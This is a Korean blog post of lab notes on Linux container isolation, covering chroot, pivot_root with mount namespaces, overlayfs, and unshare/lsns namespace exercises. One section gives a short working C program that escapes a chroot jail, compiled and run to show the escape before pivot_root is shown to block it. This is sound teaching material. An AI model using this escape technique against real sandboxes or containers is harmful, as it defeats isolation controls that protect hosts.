도커 컨테이너 격리

김건호·2024년 8월 31일

개요

리눅스 프로세스 격리 기술 발전의 역사

출처 https://speakerdeck.com/kakao/ige-dwaeyo-dokeo-eobsi-keonteineo-mandeulgi?slide=200

모든 실습 내용 및 이미지는 위 출처를 바탕으로 공부했습니다 !

chroot

change root의 약자로 프로세스와 자식 프로세스들의 / 디렉토리를 다른 디렉토리로 변경하는 명령어 ( 탈옥이 가능하여 현재는 사용하지 않음 )

실습 1 chroot 사용해보기

/ 디렉토리 확인

ls /
bin   dev  home  lib32  libx32      media  opt   root  sbin  srv  tmp  var
boot  etc  lib   lib64  lost+found  mnt    proc  run   snap  sys  usr

tmp 디렉토리 이동

 ls -l
total 16
drwx------ 3 root root 4096 Aug 31 18:41 snap-private-tmp
drwx------ 3 root root 4096 Aug 31 18:41 systemd-private-49c8ef62ce5a361aae477-chrony.service-4
drwx------ 3 root root 4096 Aug 31 18:41 systemd-private-49c8ef62ce5e361aae477-systemd-logind.service-8
drwx------ 3 root root 4096 Aug 31 18:41 systemd-private-49c8ef62ce5a461aae477-systemd-resolved.service-5

myroot 디렉토리 생성

root@MyServer:/tmp# mkdir myroot

root@MyServer:/tmp# ls
myroot

chroot 명령어 사용해보기

# chroot 사용법 : [옵션] NEWROOT [커맨드]
# chroot 명령어 사용 시, 새로운 root 디렉토리로 변경 할 디렉토리 지정 + 실행할 명령어 실해
root@MyServer:/tmp# chroot myroot /bin/sh
chroot: failed to run command ‘/bin/sh’: No such file or directory

# tree myroot
myroot

0 directories, 0 files

현재는 myroot 디렉토리 내에 아무 파일이 존재 하지 않아 /bin/sh를 파일이 없어 실행할 수 없다고 뜸

원래 root에서 /bin/sh는 어디에 ?

# which sh
/usr/bin/sh

sh의 의존성 확인

p# which sh
/usr/bin/sh
root@MyServer:/tmp# ldd /bin/sh
        linux-vdso.so.1 (0x00007ffd55b08000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000780439c00000)
        /lib64/ld-linux-x86-64.so.2 (0x0000780439f8e000)

sh 명령어 실행 시 필요한 의존성 확인을 위해 ldd명령어로 확인
libc.so.6 패키지와 /lib64/ld-linux-x86-64.so.2패키지 의존성 확인

sh 실행에 필요한 파일들을 myroot로 복사

mkdir -p myroot/bin
cp /usr/bin/sh myroot/bin/
mkdir -p myroot/{lib64,lib/x86_64-linux-gnu}

cp /lib/x86_64-linux-gnu/libc.so.6 myroot/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 myroot/lib64

# tree myroot/
myroot/
├── bin
│   └── sh
├── lib
│   └── x86_64-linux-gnu
│       └── libc.so.6
└── lib64
    └── ld-linux-x86-64.so.2

4 directories, 3 files

다시 chroot를 사용하여 sh 실행해보기


정상 작동 확인

사실 빈깡통..

# ls
/bin/sh: 1: ls: not found

myroot아래에는 sh 명령어 밖에 없고 ls 명령어가 없으니 ls 명령어가 안되는 것은 당연

ls 명령어도 옮겨보기

# which ls
/usr/bin/ls

# ldd /usr/bin/ls
        linux-vdso.so.1 (0x00007ffd087a2000)
        libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x0000764815cb9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000764815a00000)
        libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x0000764815969000)
        /lib64/ld-linux-x86-64.so.2 (0x0000764815d11000)
        
        
# cp /usr/bin/ls myroot/bin/
root@MyServer:/tmp# cp /lib/x86_64-linux-gnu/{libselinux.so.1,libc.so.6,libpcre2-8.so.0} myroot/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 myroot/lib64
root@MyServer:/tmp# tree myroot
myroot
├── bin
│   ├── ls
│   └── sh
├── lib
│   └── x86_64-linux-gnu
│       ├── libc.so.6
│       ├── libpcre2-8.so.0
│       └── libselinux.so.1
└── lib64
    └── ld-linux-x86-64.so.2

4 directories, 6 files

ls 명령어도 되는지 확인해보기

# chroot myroot /bin/sh
# ls /
bin  lib  lib64

탈출이 가능한지 시도

# cd ../../../
# pwd
/

진짜 경로는 아래와 같음

$ pwd
/tmp/myroot

cd 명령어로 아무리 위로 가봐도 myroot 이상으로는 갈 수 없음

경로 자체를 격리하여 프로세스를 격리하는 것을 확인할 수 있음

실습 2 chroot에서 ps 사용해보기

ps 명령어와 의존성 myroot로 복사하기

root@MyServer:/tmp# # copy ps
ldd /usr/bin/ps;
cp /usr/bin/ps /tmp/myroot/bin/;
cp /lib/x86_64-linux-gnu/{libprocps.so.8,libc.so.6,libsystemd.so.0,liblzma.so.5,libgcrypt.so.20,libgpg-error.so.0,libzstd.so.1,libcap.so.2} /tmp/myroot/lib/x86_64-linux-gnu/;
mkdir -p /tmp/myroot/usr/lib/x86_64-linux-gnu;
cp /usr/lib/x86_64-linux-gnu/liblz4.so.1 /tmp/myroot/usr/lib/x86_64-linux-gnu/;
cp /lib64/ld-linux-x86-64.so.2 /tmp/myroot/lib64/;

# copy mount
ldd /usr/bin/mount;
cp /usr/bin/mount /tmp/myroot/bin/;
cp /lib/x86_64-linux-gnu/{libmount.so.1,libc.so.6,libblkid.so.1,libselinux.so.1,libpcre2-8.so.0} /tmp/myroot/lib/x86_64-linux-gnu/;
cp /lib64/ld-linux-x86-64.so.2 /tmp/myroot/lib64/;

# copy mkdir
ldd /usr/bin/mkdir;
cp /usr/bin/mkdir /tmp/myroot/bin/;
cp /lib/x86_64-linux-gnu/{libselinux.so.1,libc.so.6,libpcre2-8.so.0} /tmp/myroot/lib/x86_64-linux-gnu/;
cp /lib64/ld-linux-x86-64.so.2 /tmp/myroot/lib64/;

# tree 확인
tree myroot
        linux-vdso.so.1 (0x00007ffdda77d000)
        libprocps.so.8 => /lib/x86_64-linux-gnu/libprocps.so.8 (0x00007c8f6a53b000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007c8f6a200000)
        libsystemd.so.0 => /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007c8f6a474000)
        /lib64/ld-linux-x86-64.so.2 (0x00007c8f6a5c0000)
        liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007c8f6a449000)
        libzstd.so.1 => /lib/x86_64-linux-gnu/libzstd.so.1 (0x00007c8f6a131000)
        liblz4.so.1 => /lib/x86_64-linux-gnu/liblz4.so.1 (0x00007c8f6a111000)
        libcap.so.2 => /lib/x86_64-linux-gnu/libcap.so.2 (0x00007c8f6a43c000)
        libgcrypt.so.20 => /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007c8f69fd3000)
        libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007c8f69fad000)
        linux-vdso.so.1 (0x00007ffe02b04000)
        libmount.so.1 => /lib/x86_64-linux-gnu/libmount.so.1 (0x000071cb60503000)
        libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x000071cb604d7000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x000071cb60200000)
        libblkid.so.1 => /lib/x86_64-linux-gnu/libblkid.so.1 (0x000071cb604a0000)
        libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x000071cb60169000)
        /lib64/ld-linux-x86-64.so.2 (0x000071cb6055c000)
        linux-vdso.so.1 (0x00007ffcf73b5000)
        libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007b2db8137000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007b2db7e00000)
        libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007b2db80a0000)
        /lib64/ld-linux-x86-64.so.2 (0x00007b2db817d000)
myroot
├── bin
│   ├── ls
│   ├── mkdir
│   ├── mount
│   ├── ps
│   └── sh
├── lib
│   └── x86_64-linux-gnu
│       ├── libblkid.so.1
│       ├── libc.so.6
│       ├── libcap.so.2
│       ├── libgcrypt.so.20
│       ├── libgpg-error.so.0
│       ├── liblzma.so.5
│       ├── libmount.so.1
│       ├── libpcre2-8.so.0
│       ├── libprocps.so.8
│       ├── libselinux.so.1
│       ├── libsystemd.so.0
│       └── libzstd.so.1
├── lib64
│   └── ld-linux-x86-64.so.2
└── usr
    └── lib
        └── x86_64-linux-gnu
            └── liblz4.so.1

7 directories, 19 files

ps를 사용했더니 error가..?

# chroot myroot /bin/sh
# ps
Error, do this: mount -t proc proc /proc

# ls /proc
ls: cannot access '/proc': No such file or directory

ps 명령어에서 필요한 /proc 디렉토리가 마운트 되어 있지 않기 때문
원래는 /proc가 마운트가 되어 있음 -> ps명령어가 /proc 디렉토리에서 정보를 가져옴

/proc 마운트

# mkdir /proc
# mount -t proc proc /proc
# mount -t proc
proc on /proc type proc (rw,relatime)

이제 chroot에서 proc가 확인이 되고

ps 명령어 확인

# ps
    PID TTY          TIME CMD
   1130 ?        00:00:00 sudo
   1131 ?        00:00:00 su
   1132 ?        00:00:00 bash
   2672 ?        00:00:00 sh
   2694 ?        00:00:00 ps

ps명령어가 확인 됨
-> ps 명령어를 사용하기 위해서는 /proc가 마운트 되어야 한다

마운트 제거

root@MyServer:/tmp# mount -t proc
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
proc on /tmp/myroot/proc type proc (rw,relatime)
root@MyServer:/tmp# sudo umount /tmp/myroot/proc
root@MyServer:/tmp# mount -t proc
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)

chroot 에서 mount 한 건 원래 루트에서도 확인이 가능
원래 루트에서 마운트 해제

실습 3 남이 만든 이미지 chroot 해보기

새로운 chroot 디렉토리 생성

root@MyServer:docker export $(docker create nginx) | tar -C nginx-root -xvf -;

nginx 이미지 압축 풀기

root@MyServer:/tmp/nginx-root# docker export $(docker create nginx) | tar -C nginx-root -xvf -;

컨테이너 이미지는 실행되는 프로세스의 동작에 필요한 모든 관련 파일을 묶어서 패키징되기 때문에 nginx 실행에 필요한 모든 프로세스 동작 관련 파일이 nginx-root 디렉토리에 복사 된것을 확인 할 수 있음

-> 컨테이너 엔진이 있으면 모든 컨테이너를 실행할 수 있는 것에 대한 원리

새로운 디렉토리로 chroot 생성

 chroot nginx-root/ /bin/sh
# ls /
bin   dev                  docker-entrypoint.sh  home  lib64  mnt  proc  run   srv  tmp  var
boot  docker-entrypoint.d  etc                   lib   media  opt  root  sbin  sys  usr

nginx-root 컨테이너의 sh로 들어온 것과 유사

nginx 실행

# nginx -g "daemon off;"

chroot 프로세스에서 nginx를 실행하더라도 원래 터미널에서는 nginx 프로세스 목록이 확인 가능

root@MyServer:~# ps -ef | grep nginx
root        2776    2773  0 19:50 pts/1    00:00:00 nginx: master process nginx -g daemon off;
systemd+    2777    2776  0 19:50 pts/1    00:00:00 nginx: worker process
root        2779    2678  0 19:50 pts/3    00:00:00 grep --color=auto nginx

curl 을 통해 접근도 가능

root@MyServer:~# curl localhost:80
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>

마치 컨테이너 하나 실행된 것 같은거 같은 느낌
소켓정보도 확인 가능

root@MyServer:~# ss -tnlp
LISTEN    0   511   0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=2777,fd=6),("nginx",pid=2776,fd=6))

실습 4 탈옥 해보기

chroot는 탈옥이 가능함 -> 사용 X

탈옥 코드

vi escape_chroot.c

#include <sys/stat.h>
#include <unistd.h>

int main(void)
{
  mkdir(".out", 0755);
  chroot(".out");
  chdir("../../../../../");
  chroot(".");

  return execl("/bin/sh", "-i", NULL);
}

탈옥 코드 사용하여 새로운 new-root에 복사

 gcc -o myroot/escape_chroot escape_chroot.c
tree -L 1 myroot
file myroot/escape_chroot
myroot
├── bin
├── escape_chroot
├── lib
├── lib64
├── proc
└── usr

탈출 !

# ls /
bin  escape_chroot  lib  lib64  proc  usr
# cd ../../
# cd ../../
# ls
bin  escape_chroot  lib  lib64  proc  usr
# ls /
bin  escape_chroot  lib  lib64  proc  usr

# 탈옥 코드 실행
# ./escape_chroot
# ls /
bin   dev  home  lib32  libx32      media  opt   root  sbin  srv  tmp  var
boot  etc  lib   lib64  lost+found  mnt    proc  run   snap  sys  usr

root@MyServer:~# ls /
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  sys  tmp  usr  var

탈옥에 성공하여 chroot 실행하기 전 원래 터미널의 / 와 같아진 것을 확인 가능

-> chroot 탈옥이 가능하기 때문에 컨테이너 사용하는 시스템에서 사용이 어려움 -> pivot_root사용

마운트 네임스페이스 + pivot_root

chroot 차단을 위해, pivot_root + mount ns(호스트 영향 격리)를 사용 : 루트 파일 시스템을 변경(부착 mount) + 프로세스 환경 격리

루트 자체를 pivot -> 새로운 루트 디렉토리를 pivot -> 신규 /처럼 보고 put_old만 격리 시키면 됨
os 자체에서는 그대로 있지만 pivot 했기 때문에 컨테이너 자체에서는 오른쪽 그림처럼 보임
탈옥 코드 실행해도 탈옥이 되지 않음

마운트 네임스페이스 : 마운트 포인트를 격리(unshare 명령어를 통해)
쿠버네티스 네임스페이스와는 다른 개념
X 라는 것을 M으로 마운트하여 격리

X 아래에 파일을 생성하더라도 보이지 않고 격리 되게 됨

두 개를 결합하여 호스트에 영향 없이 탈옥이 불가능하게 프로세스 격리

실습 1 마운트 네임스페이스

unshare

새로운 네임스페이스를 만들고 나서 프로그램을 실행 하는 명령어

# unshare --mount /usr/bin/sh


1은 unshare하여 마운트한 새로운 네임스페이스 2는 기존 터미널
mount unshare 시 부모 프로세스의 마운트 정보를 복사해서 자식 네임스페이스를 생성하기 때문에 처음에는 동일한 결과가 나옴

마운트 네임스페이스 제대로 사용해보기

# mkdir new_root
# mount -t tmpfs none new_root
# ls -l
# ls -l
total 28
-rw-r--r--  1 root root  187 Aug 31 19:55 escape_chroot.c
drwxr-xr-x  8 root root 4096 Aug 31 19:56 myroot
drwxrwxrwt  2 root root   40 Aug 31 21:06 new_root
drwxr-xr-x 18 root root 4096 Aug 31 19:45 nginx-root
drwx------  3 root root 4096 Aug 31 18:41 snap-private-tmp
drwx------  3 root root 4096 Aug 31 18:41 systemd-private-49c8ef62ce5a42de477-chrony.service-4D
drwx------  3 root root 4096 Aug 31 18:41 systemd-private-49c8ef62ce5a42d2bd2b77-systemd-logind.service-8
drwx------  3 root root 4096 Aug 31 18:41 systemd-private-49c8ef62ce5a42d2e477-systemd-resolved.service-59

# tree new_root
new_root

0 directories, 0 files

tmpfile system을 마운트
현재 아무것도 없는 상태

마운트 정보비교

findmnt -A
└─/tmp/new_root                none        tmpfs     rw,relatime,inode64

unshare에서는 mount 정보가 보이지만 원래 터미널에서는 보이지 않음

파일을 복사해서 확인해보기

# cp -r myroot/* new_root
# tree new_root
new_root
├── bin
│   ├── ls
│   ├── mkdir
│   ├── mount
│   ├── ps
│   └── sh
├── escape_chroot
├── lib

---

root@MyServer:/tmp# tree new_root/
new_root/

0 directories, 0 files

차이가 나는 것을 다시 한 번 확인

실습 2 pivot_root사용하여 탈옥이 불가능하게 하기


기존에 알고 있던 / 파일 시스템을 바꾼다는 개념

사용법
# pivot_root <new_root> <put_old>


루트 파일 시스템이 바뀌었는지 보고

가장 중요한 ! 탈옥이 되는지 확인해보기

old 디렉토리 생성

# mkdir new_root/put_old

pivot_root 실행

cd new_root # pivot_root 는 실행 시, 변경될 root 파일시스템 경로로 진입
pivot_root . put_old # [신규 루트] [기존 루트]

# pivot_root . put_old
# cd /
# ls /
bin  escape_chroot  lib  lib64  proc  put_old  usr
# ls put_old
bin   dev  home  lib32  libx32      media  opt   root  sbin  srv  tmp  var
boot  etc  lib   lib64  lost+found  mnt    proc  run   snap  sys  usr

기존 터미널과 비교

root@MyServer:/tmp# ls /
bin   dev  home  lib32  libx32      media  opt   root  sbin  srv  tmp  var
boot  etc  lib   lib64  lost+found  mnt    proc  run   snap  sys  usr

/ 은 다르지만 put_old와는 기존 터미널과 같음을 확인

탈옥 시도

# ./escape_chroot
# ls /
bin  escape_chroot  lib  lib64  proc  put_old  usr
# cd ../../../
# ls /
bin  escape_chroot  lib  lib64  proc  put_old  usr

탈옥이 되지 않는 모습을 확인
-> chroot 와 다르게 아무리 위로 가도 탈옥이 되지 않는 모습
-> 도커나 컨테이너를 사용하는 시스템에서 사용

왜 컨테이너가 pivot_root를 쓰는가

오버레이 파일시스템 (중복을 해결 !) - 과제 2


여러 이미지 레이어를 하나로 마운트 하여 이미지 중복 문제를 해결

  • Lower 레이어는 ReadOnly
  • Upper 레이어는 Writable
  • coW, copy-on-wirte (원본 유지)

    도커레지스트리는 이미지 레이어별로 존재 -> 실제 컨테이너가 실행 될때에는 하나 씩 쌓으면서 실행 변경사항은 Upper로 하나씩 쌓음

실습 1 오버레이 파일시스템 만들기


1. tools 레이어 추가
2. upper dir 올리기

LowerDir 1 준비

root@MyServer:/tmp# tree myroot/
myroot/
├── bin
│   ├── ls
│   ├── mkdir
│   ├── mount
│   ├── ps
│   └── sh
├── escape_chroot

위 실습에서 사용한 myroot를 LowerDir1로 사용

LowerDir 2 준비

# mkdir tools

which 복사

# which which
/usr/bin/which
root@MyServer:/tmp# ldd /usr/bin/which
        not a dynamic executable
root@MyServer:/tmp# mkdir -p tools/usr/bin;
root@MyServer:/tmp# cp /usr/bin/which tools/usr/bin/;

which 명령어는 따로 의존성이 없음

rm 복사
# mkdir -p tools/{bin,lib64,lib/x86_64-linux-gnu};
root@MyServer:/tmp# cp /bin/rm tools/bin/
root@MyServer:/tmp# cp /lib/x86_64-linux-gnu/libc.so.6 tools/lib/x86_64-linux-gnu/
root@MyServer:/tmp# cp /lib64/ld-linux-x86-64.so.2 tools/lib64

이렇게 하면 myroot이미지와 tools 이미지가 준비과 된 것

오버레이 마운트 준비

mkdir -p rootfs/{container,work,merge}
root@MyServer:/tmp# tree rootfs
rootfs
├── container # upper 디렉토리
├── merge # 통합 뷰 - 밑에 있는 하위 레이어를 다 보는 뷰 (실제 오버레이 마운트 포인트)
└── work # 조회 시 보이지는 않지만, container디렉토리의 업데이트를 보장하기 위한 디렉토리

오버레이 마운트

# mount -t overlay overlay -o 
lowerdir=tools:myroot,upperdir=rootfs/container/,
workdir=rootfs/work/ rootfs/merge

위 명령어로 아래와 같은 구조로 만듬

root@MyServer:/tmp/rootfs# tree -L 2 .
.
├── container
├── merge
│   ├── bin
│   ├── escape_chroot
│   ├── lib
│   ├── lib64
│   ├── proc
│   └── usr
└── work
    └── work

통합 뷰인 merge가 채워져있음

myroot와의 비교

root@MyServer:/tmp# tree -L 2 myroot/{bin,usr}
myroot/bin
├── ls
├── mkdir
├── mount
├── ps
└── sh
myroot/usr
└── lib
    └── x86_64-linux-gnu

2 directories, 0 files
---------------------------
root@MyServer:/tmp# tree -L 2 rootfs/merge/{bin,usr}
rootfs/merge/bin
├── ls
├── mkdir
├── mount
├── ps
├── rm
└── sh
rootfs/merge/usr
├── bin
│   └── which
└── lib
    └── x86_64-linux-gnu

3 directories, 1 file

rootfs에는 rm이라는 파일과 which가 추가 된 것을 확인할 수 있음
-> 오버레이 마운트가 잘 된 것을 확인할 수 있음

Cow, Copy On Wirte

# rm rootfs/merge/escape_chroot

root@MyServer:/tmp# ls /tmp/rootfs/merge/
bin  lib  lib64  proc  usr

root@MyServer:/tmp# ls myroot
bin  escape_chroot  lib  lib64  proc  usr

merge에서는 지워졌지만 myroot 상에는 남아있음

container 디렉토리에는 노란색으로 표시된 파일이 생성 -> 화이트아웃 -> 삭제 마킹

escape_chroot를 삭제한 것은 LowerDir에서 삭제한 것이고 삭제 된 정보가 upper 디렉토리에 씌어지게 됨 -> myroot 변경 없이 upper 디렉토리만 변경 정보를 관리 해줌 -> 원본을 보장 할 수 있게 됨

격리 Namespace

남아 있는 문제

  • 컨테이너에서 호스트의 다른 프로세스가 보임 -> 컨테이너 탈취 시 다른 프로세스 죽일 수 있음
  • 컨테이너에서 호스트이 포트를 사용
  • 컨테이너에 루트 권한이 있음

Namespace

  • 프로세스에 격리된 환경 제공
  • 리눅스 커널 기능
  • 컨테이너 레디

특징

  • 모든 프로세스는 타입별로 네임스페이스에 속함
  • 자식 프로세스는 부모의 네임스페이스를 상속
  • 프로세스는 네임스페이스 타입별로 일부는 호스트(root) ns를 사용하고 일부는 컨테이너의 ns 사용 가능 EX) mount ns는 컨테이너의 것으로 격리하고, newwork ns는 호스트 것으로 사용

사용방법

# unshare [option] [program]
option list
-m --mount
-u --uts
-i --ips
-p --pid
-n --net


Mount(파일시스템), Network(네트워크), PID(프로세스 id), User(계정), ipc(프로세스간 통신), Uts(Unix time sharing, 호스트네임), cgroup

위 그림 처럼 다 합쳐서 쓰는게 아니라 NET는 따로 호스트의 것을 사용할 수 있다는 뜻

컨테이너 안에서 다르게 보이는 이유는 -> 네임스페이스 !
다른 PID 네임스페이스이기 때문에 다른 프로세스로 보임
모든 프로세스는 7개의 네임스페이스를 가짐

실습 1 프로세스별 네임스페이스 확인

터미널 2개 모두 관리자 권한으로 진행

네임스페이스 확인 방법 1 : 프로세스별 네임스페이스 확인

# ls -al /proc/$$/ns
total 0
dr-x--x--x 2 root root 0 Aug 31 22:03 .
dr-xr-xr-x 9 root root 0 Aug 31 19:50 ..
lrwxrwxrwx 1 root root 0 Aug 31 22:03 cgroup -> 'cgroup:[4026531835]'
lrwxrwxrwx 1 root root 0 Aug 31 22:03 ipc -> 'ipc:[4026531839]'
lrwxrwxrwx 1 root root 0 Aug 31 22:03 mnt -> 'mnt:[4026531841]'
lrwxrwxrwx 1 root root 0 Aug 31 22:03 net -> 'net:[4026531840]'
lrwxrwxrwx 1 root root 0 Aug 31 22:03 pid -> 'pid:[4026531836]'
lrwxrwxrwx 1 root root 0 Aug 31 22:03 pid_for_children -> 'pid:[4026531836]'
lrwxrwxrwx 1 root root 0 Aug 31 22:03 time -> 'time:[4026531834]'
lrwxrwxrwx 1 root root 0 Aug 31 22:03 time_for_children -> 'time:[4026531834]'
lrwxrwxrwx 1 root root 0 Aug 31 22:03 user -> 'user:[4026531837]'
lrwxrwxrwx 1 root root 0 Aug 31 22:03 uts -> 'uts:[4026531838]'

네임스페이스 별로 어떤 inode에 속하는지 알 수 있음

특정 네임스페이스의 inode 값만 확인

root@MyServer:/tmp# readlink /proc/$$/ns/mnt
mnt:[4026531841]
root@MyServer:/tmp# readlink /proc/$$/net

네임스페이스 확인 방법 2 : lnss - :ist system namespaces

root@MyServer:/tmp# lsns -p 1
        NS TYPE   NPROCS PID USER COMMAND
4026531834 time      108   1 root /sbin/init
4026531835 cgroup    108   1 root /sbin/init
4026531836 pid       108   1 root /sbin/init
4026531837 user      108   1 root /sbin/init
4026531838 uts       104   1 root /sbin/init
4026531839 ipc       108   1 root /sbin/init
4026531840 net       108   1 root /sbin/init
4026531841 mnt       101   1 root /sbin/init
root@MyServer:/tmp# lsns -p $$
        NS TYPE   NPROCS PID USER COMMAND
4026531834 time      108   1 root /sbin/init
4026531835 cgroup    108   1 root /sbin/init
4026531836 pid       108   1 root /sbin/init
4026531837 user      108   1 root /sbin/init
4026531838 uts       104   1 root /sbin/init
4026531839 ipc       108   1 root /sbin/init
4026531840 net       108   1 root /sbin/init
4026531841 mnt       101   1 root /sbin/init

-t 네임스페이스 타입, -p 조회할 PID
NPROCS : 해당 네임스페이스에 속해있는 프로세스 갯수
PID : 해당 네임스페이스의 (최초) 주인 프로세스

root@MyServer:/tmp#  lsns -t mnt -p 1 # 프로세스 1번의 ns 정보가 나옴
        NS TYPE NPROCS PID USER COMMAND
4026531841 mnt     101   1 root /sbin/init
root@MyServer:/tmp# lsns -t mnt -p $$ # 현재프로세스($$) 셸이 사용하고 있는
        NS TYPE NPROCS PID USER COMMAND
4026531841 mnt     101   1 root /sbin/init

실제로 더 많이 사용하는 명령어 - 시스템 네임스페이스를 보는 명령어

4026531841를 바탕으로 프로세스 1번과 현재 셸이 사용하는 프로세스의 마운트 네임스페이스가 똑같다 -> 호스트 네임스페이스를 같이 사용 -> 동일한 호스트 네임스페이스 공간에 있다

실습 2 마운트 네임스페이스

Mount (mnt) Namespace : 2002년 마운트 포인트 격리, 최초의 네임스페이스

PID 1과 현재 Shell 속한 프로세스의 MNT NS 정보 확인

root@MyServer:/tmp#  lsns -t mnt -p 1 
        NS TYPE NPROCS PID USER COMMAND
4026531841 mnt     101   1 root /sbin/init
root@MyServer:/tmp# lsns -t mnt -p $$ 
        NS TYPE NPROCS PID USER COMMAND
4026531841 mnt     101   1 root /sbin/init

현재 mnt 동일하게 실행

unshare -m 명령어

-m 옵션을 주면 [명령어]를 mount namespace 를 isolation 하여 실행
명령어를 지정하지 않으면 환경변수 $$Shell 실행 됨

root@MyServer:/tmp# lsns -p $$
        NS TYPE   NPROCS   PID USER COMMAND
4026531834 time      109     1 root /sbin/init
4026531835 cgroup    109     1 root /sbin/init
4026531836 pid       109     1 root /sbin/init
4026531837 user      109     1 root /sbin/init
4026531838 uts       105     1 root /sbin/init
4026531839 ipc       109     1 root /sbin/init
4026531840 net       109     1 root /sbin/init
**4026532234 mnt         2  2996 root -bash** -> mnt가 바뀜

PID 1과 비교

root@MyServer:/tmp# lsns -p 1
        NS TYPE   NPROCS PID USER COMMAND
4026531834 time      109   1 root /sbin/init
4026531835 cgroup    109   1 root /sbin/init
4026531836 pid       109   1 root /sbin/init
4026531837 user      109   1 root /sbin/init
4026531838 uts       105   1 root /sbin/init
4026531839 ipc       109   1 root /sbin/init
4026531840 net       109   1 root /sbin/init
4026531841 mnt       101   1 root /sbin/init

inode가 다른 것으로 보아 mnt가 다르게 실행된 것을 확인 -> mnt ns가 격리 된 것
격리 되서 PID가 2996으로 다름

빠져나오기

# exit
logout

root@MyServer:~# lsns -p $$
        NS TYPE   NPROCS PID USER COMMAND
4026531834 time      110   1 root /sbin/init
4026531835 cgroup    110   1 root /sbin/init
4026531836 pid       110   1 root /sbin/init
4026531837 user      110   1 root /sbin/init
4026531838 uts       106   1 root /sbin/init
4026531839 ipc       110   1 root /sbin/init
4026531840 net       110   1 root /sbin/init
4026531841 mnt       102   1 root /sbin/init
root@MyServer:~# lsns -p $$^C
root@MyServer:~# lsns -p 1
        NS TYPE   NPROCS PID USER COMMAND
4026531834 time      110   1 root /sbin/init
4026531835 cgroup    110   1 root /sbin/init
4026531836 pid       110   1 root /sbin/init
4026531837 user      110   1 root /sbin/init
4026531838 uts       106   1 root /sbin/init
4026531839 ipc       110   1 root /sbin/init
4026531840 net       110   1 root /sbin/init
4026531841 mnt       102   1 root /sbin/init

빠져 나오게 되면 원래 처럼 같은 indoe의 mnt 확인 가능

호스트 경로를 직접 마운트 시 주의사항 : 예를 들어 호스트 최상위 루트 디렉토리 (/) 마운트 시 보안상 어떤 문제가 있을지
(추가)

실습 3 UTS 네임스페이스

2006년, Unix Time Sharing (여러 사용자 작업 환경 제공하고자 서버 시분할 나눠쓰기), 호스트명, 도메인명 격리

서버 한 대가 비싸니까 여러명이 사용하기 위해 만들어짐 (호스트네임도 바꿔서 다르게 ~)

unshare -u [명령어]

-u 옵션을 주면 [명령어]를 UTS namespace 를 isolation 하여 실행

root@MyServer:/tmp# unshare -u
root@MyServer:/tmp# lsns -p $$
        NS TYPE   NPROCS   PID USER COMMAND
4026531834 time      111     1 root /sbin/init
4026531835 cgroup    111     1 root /sbin/init
4026531836 pid       111     1 root /sbin/init
4026531837 user      111     1 root /sbin/init
4026531839 ipc       111     1 root /sbin/init
4026531840 net       111     1 root /sbin/init
4026531841 mnt       103     1 root /sbin/init
4026532235 uts         2  3036 root -bash
root@MyServer:/tmp# lsns -p 1
        NS TYPE   NPROCS PID USER COMMAND
4026531834 time      111   1 root /sbin/init
4026531835 cgroup    111   1 root /sbin/init
4026531836 pid       111   1 root /sbin/init
4026531837 user      111   1 root /sbin/init
4026531838 uts       105   1 root /sbin/init
4026531839 ipc       111   1 root /sbin/init
4026531840 net       111   1 root /sbin/init
4026531841 mnt       103   1 root /sbin/init

기본은 부모네임스페이스의 호스트 네임을 상속

root@MyServer:/tmp# hostname
MyServer

호스트네임 변경 후 터미널1과 터미널2 비교

터미널 1
root@MyServer:/tmp# hostname KEN
root@MyServer:/tmp# hostname
KEN
터미널 2
root@MyServer:/tmp# hostname
MyServer

터미널 1과 터미널2 의 uts가 격리되었기 때문에 다르게 보이는 것

실습 4 IPC 네임스페이스

2006년, Inter-Process Communication 격리, 프로세스 간 통신 자원 분리 관리 - Shared Memory, Pipe, Message Queue 등

프로세스 간 통신자원에 대한 물리 격리

unshare -i

root@MyServer:/tmp# unshare -i
root@MyServer:/tmp# lsns -p $$
        NS TYPE   NPROCS   PID USER COMMAND
4026531834 time      109     1 root /sbin/init
4026531835 cgroup    109     1 root /sbin/init
4026531836 pid       109     1 root /sbin/init
4026531837 user      109     1 root /sbin/init
4026531838 uts       105     1 root /sbin/init
4026531840 net       109     1 root /sbin/init
4026531841 mnt       102     1 root /sbin/init
4026532234 ipc         2  3056 root -bash
root@MyServer:/tmp# lsns -p 1
        NS TYPE   NPROCS PID USER COMMAND
4026531834 time      109   1 root /sbin/init
4026531835 cgroup    109   1 root /sbin/init
4026531836 pid       109   1 root /sbin/init
4026531837 user      109   1 root /sbin/init
4026531838 uts       105   1 root /sbin/init
4026531839 ipc       107   1 root /sbin/init
4026531840 net       109   1 root /sbin/init
4026531841 mnt       102   1 root /sbin/init

실습 5 2개의 컨테이너 간 IPC 네임스페이스 공유

ipcas -m

shared memory 정보 확인

컨테이너에 shared 메모리 생성

root@MyServer:/tmp# ipcs -m

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status

root@MyServer:/tmp# docker run --rm --name test1 --ipc=shareable -it ubuntu bash
Unable to find image 'ubuntu:latest' locally
